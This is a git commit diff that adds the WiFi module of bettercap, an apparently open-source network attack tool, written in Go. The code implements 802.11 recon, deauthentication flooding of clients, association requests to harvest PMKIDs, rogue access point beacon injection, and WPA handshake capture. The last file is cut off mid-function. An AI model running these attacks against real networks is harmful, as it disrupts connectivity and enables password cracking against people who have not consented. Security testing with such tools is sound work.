Refactoring modules

This commit is contained in:
Giuseppe Trotta 2019-02-10 23:58:08 +01:00
commit ed652622e2
89 changed files with 186 additions and 138 deletions

463
modules/wifi/wifi.go Normal file
View file

@ -0,0 +1,463 @@
package wifi
import (
"fmt"
"github.com/bettercap/bettercap/modules/utils"
"net"
"strconv"
"sync"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/evilsocket/islazy/fs"
"github.com/evilsocket/islazy/str"
"github.com/evilsocket/islazy/tui"
)
type WiFiModule struct {
session.SessionModule
handle *pcap.Handle
source string
channel int
hopPeriod time.Duration
hopChanges chan bool
frequencies []int
ap *network.AccessPoint
stickChan int
skipBroken bool
pktSourceChan chan gopacket.Packet
pktSourceChanClosed bool
deauthSkip []net.HardwareAddr
deauthSilent bool
deauthOpen bool
assocSkip []net.HardwareAddr
assocSilent bool
assocOpen bool
shakesFile string
apRunning bool
apConfig packets.Dot11ApConfig
writes *sync.WaitGroup
reads *sync.WaitGroup
chanLock *sync.Mutex
selector *utils.ViewSelector
}
func NewWiFiModule(s *session.Session) *WiFiModule {
w := &WiFiModule{
SessionModule: session.NewSessionModule("wifi", s),
channel: 0,
stickChan: 0,
hopPeriod: 250 * time.Millisecond,
hopChanges: make(chan bool),
ap: nil,
skipBroken: true,
apRunning: false,
deauthSkip: []net.HardwareAddr{},
deauthSilent: false,
deauthOpen: false,
assocSkip: []net.HardwareAddr{},
assocSilent: false,
assocOpen: false,
writes: &sync.WaitGroup{},
reads: &sync.WaitGroup{},
chanLock: &sync.Mutex{},
}
w.AddHandler(session.NewModuleHandler("wifi.recon on", "",
"Start 802.11 wireless base stations discovery and channel hopping.",
func(args []string) error {
return w.Start()
}))
w.AddHandler(session.NewModuleHandler("wifi.recon off", "",
"Stop 802.11 wireless base stations discovery and channel hopping.",
func(args []string) error {
return w.Stop()
}))
w.AddHandler(session.NewModuleHandler("wifi.recon MAC", "wifi.recon ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))",
"Set 802.11 base station address to filter for.",
func(args []string) error {
bssid, err := net.ParseMAC(args[0])
if err != nil {
return err
} else if ap, found := w.Session.WiFi.Get(bssid.String()); found {
w.ap = ap
w.stickChan = ap.Channel()
return nil
}
return fmt.Errorf("Could not find station with BSSID %s", args[0])
}))
w.AddHandler(session.NewModuleHandler("wifi.recon clear", "",
"Remove the 802.11 base station filter.",
func(args []string) (err error) {
w.ap = nil
w.stickChan = 0
w.frequencies, err = network.GetSupportedFrequencies(w.Session.Interface.Name())
w.hopChanges <- true
return err
}))
w.AddHandler(session.NewModuleHandler("wifi.deauth BSSID", `wifi\.deauth ((?:[a-fA-F0-9:]{11,})|all|\*)`,
"Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.",
func(args []string) error {
if args[0] == "all" || args[0] == "*" {
args[0] = "ff:ff:ff:ff:ff:ff"
}
bssid, err := net.ParseMAC(args[0])
if err != nil {
return err
}
return w.startDeauth(bssid)
}))
w.AddParam(session.NewStringParameter("wifi.deauth.skip",
"",
"",
"Comma separated list of BSSID to skip while sending deauth packets."))
w.AddParam(session.NewBoolParameter("wifi.deauth.silent",
"false",
"If true, messages from wifi.deauth will be suppressed."))
w.AddParam(session.NewBoolParameter("wifi.deauth.open",
"true",
"Send wifi deauth packets to open networks."))
w.AddHandler(session.NewModuleHandler("wifi.assoc BSSID", `wifi\.assoc ((?:[a-fA-F0-9:]{11,})|all|\*)`,
"Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.",
func(args []string) error {
if args[0] == "all" || args[0] == "*" {
args[0] = "ff:ff:ff:ff:ff:ff"
}
bssid, err := net.ParseMAC(args[0])
if err != nil {
return err
}
return w.startAssoc(bssid)
}))
w.AddParam(session.NewStringParameter("wifi.assoc.skip",
"",
"",
"Comma separated list of BSSID to skip while sending association requests."))
w.AddParam(session.NewBoolParameter("wifi.assoc.silent",
"false",
"If true, messages from wifi.assoc will be suppressed."))
w.AddParam(session.NewBoolParameter("wifi.assoc.open",
"false",
"Send association requests to open networks."))
w.AddHandler(session.NewModuleHandler("wifi.ap", "",
"Inject fake management beacons in order to create a rogue access point.",
func(args []string) error {
if err := w.parseApConfig(); err != nil {
return err
} else {
return w.startAp()
}
}))
w.AddParam(session.NewStringParameter("wifi.handshakes.file",
"~/bettercap-wifi-handshakes.pcap",
"",
"File path of the pcap file to save handshakes to."))
w.AddParam(session.NewStringParameter("wifi.ap.ssid",
"FreeWiFi",
"",
"SSID of the fake access point."))
w.AddParam(session.NewStringParameter("wifi.ap.bssid",
session.ParamRandomMAC,
"[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}:[a-fA-F0-9]{2}",
"BSSID of the fake access point."))
w.AddParam(session.NewIntParameter("wifi.ap.channel",
"1",
"Channel of the fake access point."))
w.AddParam(session.NewBoolParameter("wifi.ap.encryption",
"true",
"If true, the fake access point will use WPA2, otherwise it'll result as an open AP."))
w.AddHandler(session.NewModuleHandler("wifi.show.wps BSSID",
`wifi\.show\.wps ((?:[a-fA-F0-9:]{11,})|all|\*)`,
"Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).",
func(args []string) error {
if args[0] == "all" || args[0] == "*" {
args[0] = "ff:ff:ff:ff:ff:ff"
}
return w.ShowWPS(args[0])
}))
w.AddHandler(session.NewModuleHandler("wifi.show", "",
"Show current wireless stations list (default sorting by essid).",
func(args []string) error {
return w.Show()
}))
w.selector = utils.ViewSelectorFor(&w.SessionModule, "wifi.show",
[]string{"rssi", "bssid", "essid", "channel", "encryption", "clients", "seen", "sent", "rcvd"}, "rssi asc")
w.AddHandler(session.NewModuleHandler("wifi.recon.channel", `wifi\.recon\.channel[\s]+([0-9]+(?:[, ]+[0-9]+)*|clear)`,
"WiFi channels (comma separated) or 'clear' for channel hopping.",
func(args []string) (err error) {
freqs := []int{}
if args[0] != "clear" {
log.Debug("setting hopping channels to %s", args[0])
for _, s := range str.Comma(args[0]) {
if ch, err := strconv.Atoi(s); err != nil {
return err
} else {
freqs = append(freqs, network.Dot11Chan2Freq(ch))
}
}
}
if len(freqs) == 0 {
log.Debug("resetting hopping channels")
if freqs, err = network.GetSupportedFrequencies(w.Session.Interface.Name()); err != nil {
return err
}
}
w.frequencies = freqs
w.hopChanges <- true
return nil
}))
w.AddParam(session.NewStringParameter("wifi.source.file",
"",
"",
"If set, the wifi module will read from this pcap file instead of the hardware interface."))
w.AddParam(session.NewIntParameter("wifi.hop.period",
"250",
"If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available)."))
w.AddParam(session.NewBoolParameter("wifi.skip-broken",
"true",
"If true, dot11 packets with an invalid checksum will be skipped."))
return w
}
func (w WiFiModule) Name() string {
return "wifi"
}
func (w WiFiModule) Description() string {
return "A module to monitor and perform wireless attacks on 802.11."
}
func (w WiFiModule) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com> && Gianluca Braga <matrix86@protonmail.com>"
}
const (
// Ugly, but gopacket folks are not exporting pcap errors, so ...
// ref. https://github.com/google/gopacket/blob/96986c90e3e5c7e01deed713ff8058e357c0c047/pcap/pcap.go#L281
ErrIfaceNotUp = "Interface Not Up"
)
func (w *WiFiModule) Configure() error {
var hopPeriod int
var err error
if err, w.source = w.StringParam("wifi.source.file"); err != nil {
return err
}
if err, w.shakesFile = w.StringParam("wifi.handshakes.file"); err != nil {
return err
} else if w.shakesFile != "" {
if w.shakesFile, err = fs.Expand(w.shakesFile); err != nil {
return err
}
}
ifName := w.Session.Interface.Name()
if w.source != "" {
if w.handle, err = pcap.OpenOffline(w.source); err != nil {
return fmt.Errorf("error while opening file %s: %s", w.source, err)
}
} else {
for retry := 0; ; retry++ {
ihandle, err := pcap.NewInactiveHandle(ifName)
if err != nil {
return fmt.Errorf("error while opening interface %s: %s", ifName, err)
}
defer ihandle.CleanUp()
if err = ihandle.SetRFMon(true); err != nil {
return fmt.Errorf("error while setting interface %s in monitor mode: %s", tui.Bold(ifName), err)
} else if err = ihandle.SetSnapLen(65536); err != nil {
return fmt.Errorf("error while settng span len: %s", err)
}
/*
* We don't want to pcap.BlockForever otherwise pcap_close(handle)
* could hang waiting for a timeout to expire ...
*/
readTimeout := 500 * time.Millisecond
if err = ihandle.SetTimeout(readTimeout); err != nil {
return fmt.Errorf("error while setting timeout: %s", err)
} else if w.handle, err = ihandle.Activate(); err != nil {
if retry == 0 && err.Error() == ErrIfaceNotUp {
log.Warning("interface %s is down, bringing it up ...", ifName)
if err := network.ActivateInterface(ifName); err != nil {
return err
}
continue
}
return fmt.Errorf("error while activating handle: %s", err)
}
break
}
}
if err, w.skipBroken = w.BoolParam("wifi.skip-broken"); err != nil {
return err
} else if err, hopPeriod = w.IntParam("wifi.hop.period"); err != nil {
return err
}
w.hopPeriod = time.Duration(hopPeriod) * time.Millisecond
if w.source == "" {
// No channels setted, retrieve frequencies supported by the card
if len(w.frequencies) == 0 {
if w.frequencies, err = network.GetSupportedFrequencies(ifName); err != nil {
return fmt.Errorf("error while getting supported frequencies of %s: %s", ifName, err)
}
log.Debug("wifi supported frequencies: %v", w.frequencies)
// we need to start somewhere, this is just to check if
// this OS supports switching channel programmatically.
if err = network.SetInterfaceChannel(ifName, 1); err != nil {
return fmt.Errorf("error while initializing %s to channel 1: %s", ifName, err)
}
log.Info("WiFi recon active with channel hopping.")
}
}
return nil
}
func (w *WiFiModule) updateInfo(dot11 *layers.Dot11, packet gopacket.Packet) {
if ok, enc, cipher, auth := packets.Dot11ParseEncryption(packet, dot11); ok {
bssid := dot11.Address3.String()
if station, found := w.Session.WiFi.Get(bssid); found {
station.Encryption = enc
station.Cipher = cipher
station.Authentication = auth
}
}
if ok, bssid, info := packets.Dot11ParseWPS(packet, dot11); ok {
if station, found := w.Session.WiFi.Get(bssid.String()); found {
for name, value := range info {
station.WPS[name] = value
}
}
}
}
func (w *WiFiModule) updateStats(dot11 *layers.Dot11, packet gopacket.Packet) {
// collect stats from data frames
if dot11.Type.MainType() == layers.Dot11TypeData {
bytes := uint64(len(packet.Data()))
dst := dot11.Address1.String()
if station, found := w.Session.WiFi.Get(dst); found {
station.Received += bytes
}
src := dot11.Address2.String()
if station, found := w.Session.WiFi.Get(src); found {
station.Sent += bytes
}
}
}
func (w *WiFiModule) Start() error {
if err := w.Configure(); err != nil {
return err
}
w.SetRunning(true, func() {
// start channel hopper if needed
if w.channel == 0 && w.source == "" {
go w.channelHopper()
}
// start the pruner
go w.stationPruner()
w.reads.Add(1)
defer w.reads.Done()
src := gopacket.NewPacketSource(w.handle, w.handle.LinkType())
w.pktSourceChan = src.Packets()
for packet := range w.pktSourceChan {
if !w.Running() {
break
} else if packet == nil {
continue
}
w.Session.Queue.TrackPacket(uint64(len(packet.Data())))
// perform initial dot11 parsing and layers validation
if ok, radiotap, dot11 := packets.Dot11Parse(packet); ok {
// check FCS checksum
if w.skipBroken && !dot11.ChecksumValid() {
log.Debug("Skipping dot11 packet with invalid checksum.")
continue
}
w.discoverProbes(radiotap, dot11, packet)
w.discoverAccessPoints(radiotap, dot11, packet)
w.discoverClients(radiotap, dot11, packet)
w.discoverHandshakes(radiotap, dot11, packet)
w.updateInfo(dot11, packet)
w.updateStats(dot11, packet)
}
}
w.pktSourceChanClosed = true
})
return nil
}
func (w *WiFiModule) Stop() error {
return w.SetRunning(false, func() {
// wait any pending write operation
w.writes.Wait()
// signal the main for loop we want to exit
if !w.pktSourceChanClosed {
w.pktSourceChan <- nil
}
w.reads.Wait()
// close the pcap handle to make the main for exit
w.handle.Close()
})
}

73
modules/wifi/wifi_ap.go Normal file
View file

@ -0,0 +1,73 @@
package wifi
import (
"errors"
"net"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/islazy/tui"
)
var errNoRecon = errors.New("Module wifi.ap requires module wifi.recon to be activated.")
func (w *WiFiModule) parseApConfig() (err error) {
var bssid string
if err, w.apConfig.SSID = w.StringParam("wifi.ap.ssid"); err != nil {
return
} else if err, bssid = w.StringParam("wifi.ap.bssid"); err != nil {
return
} else if w.apConfig.BSSID, err = net.ParseMAC(network.NormalizeMac(bssid)); err != nil {
return
} else if err, w.apConfig.Channel = w.IntParam("wifi.ap.channel"); err != nil {
return
} else if err, w.apConfig.Encryption = w.BoolParam("wifi.ap.encryption"); err != nil {
return
}
return
}
func (w *WiFiModule) startAp() error {
// we need channel hopping and packet injection for this
if !w.Running() {
return errNoRecon
} else if w.apRunning {
return session.ErrAlreadyStarted
}
go func() {
w.apRunning = true
defer func() {
w.apRunning = false
}()
enc := tui.Yellow("WPA2")
if !w.apConfig.Encryption {
enc = tui.Green("Open")
}
log.Info("Sending beacons as SSID %s (%s) on channel %d (%s).",
tui.Bold(w.apConfig.SSID),
w.apConfig.BSSID.String(),
w.apConfig.Channel,
enc)
for seqn := uint16(0); w.Running(); seqn++ {
w.writes.Add(1)
defer w.writes.Done()
if err, pkt := packets.NewDot11Beacon(w.apConfig, seqn); err != nil {
log.Error("Could not create beacon packet: %s", err)
} else {
w.injectPacket(pkt)
}
time.Sleep(100 * time.Millisecond)
}
}()
return nil
}

126
modules/wifi/wifi_assoc.go Normal file
View file

@ -0,0 +1,126 @@
package wifi
import (
"bytes"
"fmt"
"net"
"sort"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
)
func (w *WiFiModule) sendAssocPacket(ap *network.AccessPoint) {
if err, pkt := packets.NewDot11Auth(w.Session.Interface.HW, ap.HW, 1); err != nil {
log.Error("cloud not create auth packet: %s", err)
} else {
w.injectPacket(pkt)
}
if err, pkt := packets.NewDot11AssociationRequest(w.Session.Interface.HW, ap.HW, ap.ESSID(), 1); err != nil {
log.Error("cloud not create association request packet: %s", err)
} else {
w.injectPacket(pkt)
}
}
func (w *WiFiModule) skipAssoc(to net.HardwareAddr) bool {
for _, mac := range w.assocSkip {
if bytes.Equal(to, mac) {
return true
}
}
return false
}
func (w *WiFiModule) isAssocSilent() bool {
if err, is := w.BoolParam("wifi.assoc.silent"); err != nil {
log.Warning("%v", err)
} else {
w.assocSilent = is
}
return w.assocSilent
}
func (w *WiFiModule) doAssocOpen() bool {
if err, is := w.BoolParam("wifi.assoc.open"); err != nil {
log.Warning("%v", err)
} else {
w.assocOpen = is
}
return w.assocOpen
}
func (w *WiFiModule) startAssoc(to net.HardwareAddr) error {
// parse skip list
if err, assocSkip := w.StringParam("wifi.assoc.skip"); err != nil {
return err
} else if macs, err := network.ParseMACs(assocSkip); err != nil {
return err
} else {
w.assocSkip = macs
}
// if not already running, temporarily enable the pcap handle
// for packet injection
if !w.Running() {
if err := w.Configure(); err != nil {
return err
}
defer w.handle.Close()
}
toAssoc := make([]*network.AccessPoint, 0)
isBcast := network.IsBroadcastMac(to)
for _, ap := range w.Session.WiFi.List() {
if isBcast || bytes.Equal(ap.HW, to) {
if !w.skipAssoc(ap.HW) {
toAssoc = append(toAssoc, ap)
} else {
log.Debug("skipping ap:%v because skip list %v", ap, w.assocSkip)
}
}
}
if len(toAssoc) == 0 {
if isBcast {
return nil
}
return fmt.Errorf("%s is an unknown BSSID or it is in the association skip list.", to.String())
}
go func() {
w.writes.Add(1)
defer w.writes.Done()
// since we need to change the wifi adapter channel for each
// association request, let's sort by channel so we do the minimum
// amount of hops possible
sort.Slice(toAssoc, func(i, j int) bool {
return toAssoc[i].Channel() < toAssoc[j].Channel()
})
// send the association request frames
for _, ap := range toAssoc {
if w.Running() {
logger := log.Info
if w.isAssocSilent() {
logger = log.Debug
}
if ap.IsOpen() && !w.doAssocOpen() {
log.Debug("skipping association for open network %s (wifi.assoc.open is false)", ap.ESSID())
} else {
logger("sending association request to AP %s (channel:%d encryption:%s)", ap.ESSID(), ap.Channel(), ap.Encryption)
w.onChannel(ap.Channel(), func() {
w.sendAssocPacket(ap)
})
}
}
}
}()
return nil
}

152
modules/wifi/wifi_deauth.go Normal file
View file

@ -0,0 +1,152 @@
package wifi
import (
"bytes"
"fmt"
"net"
"sort"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
)
func (w *WiFiModule) injectPacket(data []byte) {
if err := w.handle.WritePacketData(data); err != nil {
log.Error("cloud not inject WiFi packet: %s", err)
w.Session.Queue.TrackError()
} else {
w.Session.Queue.TrackSent(uint64(len(data)))
}
// let the network card breath a little
time.Sleep(10 * time.Millisecond)
}
func (w *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
for seq := uint16(0); seq < 64 && w.Running(); seq++ {
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
log.Error("cloud not create deauth packet: %s", err)
continue
} else {
w.injectPacket(pkt)
}
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
log.Error("cloud not create deauth packet: %s", err)
continue
} else {
w.injectPacket(pkt)
}
}
}
func (w *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
for _, mac := range w.deauthSkip {
if bytes.Equal(to, mac) {
return true
}
}
return false
}
func (w *WiFiModule) isDeauthSilent() bool {
if err, is := w.BoolParam("wifi.deauth.silent"); err != nil {
log.Warning("%v", err)
} else {
w.deauthSilent = is
}
return w.deauthSilent
}
func (w *WiFiModule) doDeauthOpen() bool {
if err, is := w.BoolParam("wifi.deauth.open"); err != nil {
log.Warning("%v", err)
} else {
w.deauthOpen = is
}
return w.deauthOpen
}
func (w *WiFiModule) startDeauth(to net.HardwareAddr) error {
// parse skip list
if err, deauthSkip := w.StringParam("wifi.deauth.skip"); err != nil {
return err
} else if macs, err := network.ParseMACs(deauthSkip); err != nil {
return err
} else {
w.deauthSkip = macs
}
// if not already running, temporarily enable the pcap handle
// for packet injection
if !w.Running() {
if err := w.Configure(); err != nil {
return err
}
defer w.handle.Close()
}
type flow struct {
Ap *network.AccessPoint
Client *network.Station
}
toDeauth := make([]flow, 0)
isBcast := network.IsBroadcastMac(to)
for _, ap := range w.Session.WiFi.List() {
isAP := bytes.Equal(ap.HW, to)
for _, client := range ap.Clients() {
if isBcast || isAP || bytes.Equal(client.HW, to) {
if !w.skipDeauth(ap.HW) && !w.skipDeauth(client.HW) {
toDeauth = append(toDeauth, flow{Ap: ap, Client: client})
} else {
log.Debug("skipping ap:%v client:%v because skip list %v", ap, client, w.deauthSkip)
}
}
}
}
if len(toDeauth) == 0 {
if isBcast {
return nil
}
return fmt.Errorf("%s is an unknown BSSID, is in the deauth skip list, or doesn't have detected clients.", to.String())
}
go func() {
w.writes.Add(1)
defer w.writes.Done()
// since we need to change the wifi adapter channel for each
// deauth packet, let's sort by channel so we do the minimum
// amount of hops possible
sort.Slice(toDeauth, func(i, j int) bool {
return toDeauth[i].Ap.Channel() < toDeauth[j].Ap.Channel()
})
// send the deauth frames
for _, deauth := range toDeauth {
client := deauth.Client
ap := deauth.Ap
if w.Running() {
logger := log.Info
if w.isDeauthSilent() {
logger = log.Debug
}
if ap.IsOpen() && !w.doDeauthOpen() {
log.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
} else {
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel(), ap.Encryption)
w.onChannel(ap.Channel(), func() {
w.sendDeauthPacket(ap.HW, client.HW)
})
}
}
}
}()
return nil
}

View file

@ -0,0 +1,28 @@
package wifi
import (
"net"
"github.com/bettercap/bettercap/network"
)
type WiFiClientEvent struct {
AP *network.AccessPoint
Client *network.Station
}
type WiFiProbeEvent struct {
FromAddr net.HardwareAddr
FromVendor string
FromAlias string
SSID string
RSSI int8
}
type WiFiHandshakeEvent struct {
File string
NewPackets int
AP net.HardwareAddr
Station net.HardwareAddr
PMKID []byte
}

View file

@ -0,0 +1,73 @@
package wifi
import (
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
)
func (w *WiFiModule) onChannel(channel int, cb func()) {
w.chanLock.Lock()
defer w.chanLock.Unlock()
prev := w.stickChan
w.stickChan = channel
if err := network.SetInterfaceChannel(w.Session.Interface.Name(), channel); err != nil {
log.Warning("error while hopping to channel %d: %s", channel, err)
} else {
log.Debug("hopped on channel %d", channel)
}
cb()
w.stickChan = prev
}
func (w *WiFiModule) channelHopper() {
w.reads.Add(1)
defer w.reads.Done()
log.Info("channel hopper started.")
for w.Running() {
delay := w.hopPeriod
// if we have both 2.4 and 5ghz capabilities, we have
// more channels, therefore we need to increase the time
// we hop on each one otherwise me lose information
if len(w.frequencies) > 14 {
delay = delay * 2
}
frequencies := w.frequencies
loopCurrentChannels:
for _, frequency := range frequencies {
channel := network.Dot11Freq2Chan(frequency)
// stick to the access point channel as long as it's selected
// or as long as we're deauthing on it
if w.stickChan != 0 {
channel = w.stickChan
}
log.Debug("hopping on channel %d", channel)
w.chanLock.Lock()
if err := network.SetInterfaceChannel(w.Session.Interface.Name(), channel); err != nil {
log.Warning("error while hopping to channel %d: %s", channel, err)
}
w.chanLock.Unlock()
select {
case _ = <-w.hopChanges:
log.Debug("hop changed")
break loopCurrentChannels
case <-time.After(delay):
if !w.Running() {
return
}
}
}
}
}

244
modules/wifi/wifi_recon.go Normal file
View file

@ -0,0 +1,244 @@
package wifi
import (
"bytes"
"net"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/network"
"github.com/bettercap/bettercap/packets"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/evilsocket/islazy/tui"
)
var maxStationTTL = 5 * time.Minute
func (w *WiFiModule) stationPruner() {
w.reads.Add(1)
defer w.reads.Done()
log.Debug("wifi stations pruner started.")
for w.Running() {
// loop every AP
for _, ap := range w.Session.WiFi.List() {
sinceLastSeen := time.Since(ap.LastSeen)
if sinceLastSeen > maxStationTTL {
log.Debug("station %s not seen in %s, removing.", ap.BSSID(), sinceLastSeen)
w.Session.WiFi.Remove(ap.BSSID())
continue
}
// loop every AP client
for _, c := range ap.Clients() {
sinceLastSeen := time.Since(c.LastSeen)
if sinceLastSeen > maxStationTTL {
log.Debug("client %s of station %s not seen in %s, removing.", c.String(), ap.BSSID(), sinceLastSeen)
ap.RemoveClient(c.BSSID())
w.Session.Events.Add("wifi.client.lost", WiFiClientEvent{
AP: ap,
Client: c,
})
}
}
}
time.Sleep(1 * time.Second)
}
}
func (w *WiFiModule) discoverAccessPoints(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
// search for Dot11InformationElementIDSSID
if ok, ssid := packets.Dot11ParseIDSSID(packet); ok {
from := dot11.Address3
// skip stuff we're sending
if w.apRunning && bytes.Equal(from, w.apConfig.BSSID) {
return
}
if !network.IsZeroMac(from) && !network.IsBroadcastMac(from) {
var frequency int
bssid := from.String()
if found, channel := packets.Dot11ParseDSSet(packet); found {
frequency = network.Dot11Chan2Freq(channel)
} else {
frequency = int(radiotap.ChannelFrequency)
}
if ap, isNew := w.Session.WiFi.AddIfNew(ssid, bssid, frequency, radiotap.DBMAntennaSignal); !isNew {
ap.EachClient(func(mac string, station *network.Station) {
station.Handshake.SetBeacon(packet)
})
}
}
}
}
func (w *WiFiModule) discoverProbes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
if dot11.Type != layers.Dot11TypeMgmtProbeReq {
return
}
reqLayer := packet.Layer(layers.LayerTypeDot11MgmtProbeReq)
if reqLayer == nil {
return
}
req, ok := reqLayer.(*layers.Dot11MgmtProbeReq)
if !ok {
return
}
tot := len(req.Contents)
if tot < 3 {
return
}
avail := uint32(tot - 2)
if avail < 2 {
return
}
size := uint32(req.Contents[1])
if size == 0 || size > avail {
return
}
w.Session.Events.Add("wifi.client.probe", WiFiProbeEvent{
FromAddr: dot11.Address2,
FromVendor: network.ManufLookup(dot11.Address2.String()),
FromAlias: w.Session.Lan.GetAlias(dot11.Address2.String()),
SSID: string(req.Contents[2 : 2+size]),
RSSI: radiotap.DBMAntennaSignal,
})
}
func (w *WiFiModule) discoverClients(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
w.Session.WiFi.EachAccessPoint(func(bssid string, ap *network.AccessPoint) {
// packet going to this specific BSSID?
if packets.Dot11IsDataFor(dot11, ap.HW) {
bssid := dot11.Address2.String()
freq := int(radiotap.ChannelFrequency)
rssi := radiotap.DBMAntennaSignal
if station, isNew := ap.AddClientIfNew(bssid, freq, rssi); isNew {
w.Session.Events.Add("wifi.client.new", WiFiClientEvent{
AP: ap,
Client: station,
})
}
}
})
}
func allZeros(s []byte) bool {
for _, v := range s {
if v != 0 {
return false
}
}
return true
}
func (w *WiFiModule) discoverHandshakes(radiotap *layers.RadioTap, dot11 *layers.Dot11, packet gopacket.Packet) {
// ref. https://wlan1nde.wordpress.com/2014/10/27/4-way-handshake/
if keyLayer := packet.Layer(layers.LayerTypeEAPOLKey); keyLayer != nil {
if key := keyLayer.(*layers.EAPOLKey); key.KeyType == layers.EAPOLKeyTypePairwise {
staMac := net.HardwareAddr{}
apMac := net.HardwareAddr{}
if dot11.Flags.FromDS() {
staMac = dot11.Address1
apMac = dot11.Address2
} else if dot11.Flags.ToDS() {
staMac = dot11.Address2
apMac = dot11.Address1
}
// first, locate the AP in our list by its BSSID
ap, found := w.Session.WiFi.Get(apMac.String())
if !found {
log.Warning("could not find AP with BSSID %s", apMac.String())
return
}
// locate the client station, if its BSSID is ours, it means we sent
// an association request via wifi.assoc because we're trying to capture
// the PMKID from the first EAPOL sent by the AP.
// (Reference about PMKID https://hashcat.net/forum/thread-7717.html)
// In this case, we need to add ourselves as a client station of the AP
// in order to have a consistent association of AP, client and handshakes.
staIsUs := bytes.Equal(staMac, w.Session.Interface.HW)
station, found := ap.Get(staMac.String())
if !found {
station, _ = ap.AddClientIfNew(staMac.String(), ap.Frequency, ap.RSSI)
}
rawPMKID := []byte(nil)
if !key.Install && key.KeyACK && !key.KeyMIC {
// [1] (ACK) AP is sending ANonce to the client
rawPMKID = station.Handshake.AddAndGetPMKID(packet)
PMKID := "without PMKID"
if rawPMKID != nil {
PMKID = "with PMKID"
}
log.Debug("[%s] got frame 1/4 of the %s <-> %s handshake (%s) (anonce:%x)",
tui.Green("wifi"),
apMac,
staMac,
PMKID,
key.Nonce)
} else if !key.Install && !key.KeyACK && key.KeyMIC && !allZeros(key.Nonce) {
// [2] (MIC) client is sending SNonce+MIC to the API
station.Handshake.AddFrame(1, packet)
log.Debug("[%s] got frame 2/4 of the %s <-> %s handshake (snonce:%x mic:%x)",
tui.Green("wifi"),
apMac,
staMac,
key.Nonce,
key.MIC)
} else if key.Install && key.KeyACK && key.KeyMIC {
// [3]: (INSTALL+ACK+MIC) AP informs the client that the PTK is installed
station.Handshake.AddFrame(2, packet)
log.Debug("[%s] got frame 3/4 of the %s <-> %s handshake (mic:%x)",
tui.Green("wifi"),
apMac,
staMac,
key.MIC)
}
// if we have unsaved packets as part of the handshake, save them.
numUnsaved := station.Handshake.NumUnsaved()
doSave := numUnsaved > 0
if doSave && w.shakesFile != "" {
log.Debug("saving handshake frames to %s", w.shakesFile)
if err := w.Session.WiFi.SaveHandshakesTo(w.shakesFile, w.handle.LinkType()); err != nil {
log.Error("error while saving handshake frames to %s: %s", w.shakesFile, err)
}
}
// if we had unsaved packets and either the handshake is complete
// or it contains the PMKID, generate a new event.
if doSave && (rawPMKID != nil || station.Handshake.Complete()) {
w.Session.Events.Add("wifi.client.handshake", WiFiHandshakeEvent{
File: w.shakesFile,
NewPackets: numUnsaved,
AP: apMac,
Station: staMac,
PMKID: rawPMKID,
})
}
// if we added ourselves as a client station but we didn't get any
// PMKID, just remove it from the list of clients of this AP.
if staIsUs && rawPMKID == nil {
ap.RemoveClient(staMac.String())
}
}
}
}

354
modules/wifi/wifi_show.go Normal file
View file

@ -0,0 +1,354 @@
package wifi
import (
"fmt"
"github.com/bettercap/bettercap/modules/discovery"
"os"
"sort"
"strconv"
"strings"
"time"
"github.com/bettercap/bettercap/network"
"github.com/dustin/go-humanize"
"github.com/evilsocket/islazy/ops"
"github.com/evilsocket/islazy/tui"
)
func (w *WiFiModule) isApSelected() bool {
return w.ap != nil
}
func (w *WiFiModule) getRow(station *network.Station) ([]string, bool) {
include := false
sinceStarted := time.Since(w.Session.StartedAt)
sinceFirstSeen := time.Since(station.FirstSeen)
bssid := station.HwAddress
if sinceStarted > (discovery.JustJoinedTimeInterval*2) && sinceFirstSeen <= discovery.JustJoinedTimeInterval {
// if endpoint was first seen in the last 10 seconds
bssid = tui.Bold(bssid)
}
seen := station.LastSeen.Format("15:04:05")
sinceLastSeen := time.Since(station.LastSeen)
if sinceStarted > discovery.AliveTimeInterval && sinceLastSeen <= discovery.AliveTimeInterval {
// if endpoint seen in the last 10 seconds
seen = tui.Bold(seen)
} else if sinceLastSeen > discovery.PresentTimeInterval {
// if endpoint not seen in the last 60 seconds
seen = tui.Dim(seen)
}
ssid := ops.Ternary(station.ESSID() == "<hidden>", tui.Dim(station.ESSID()), station.ESSID()).(string)
encryption := station.Encryption
if len(station.Cipher) > 0 {
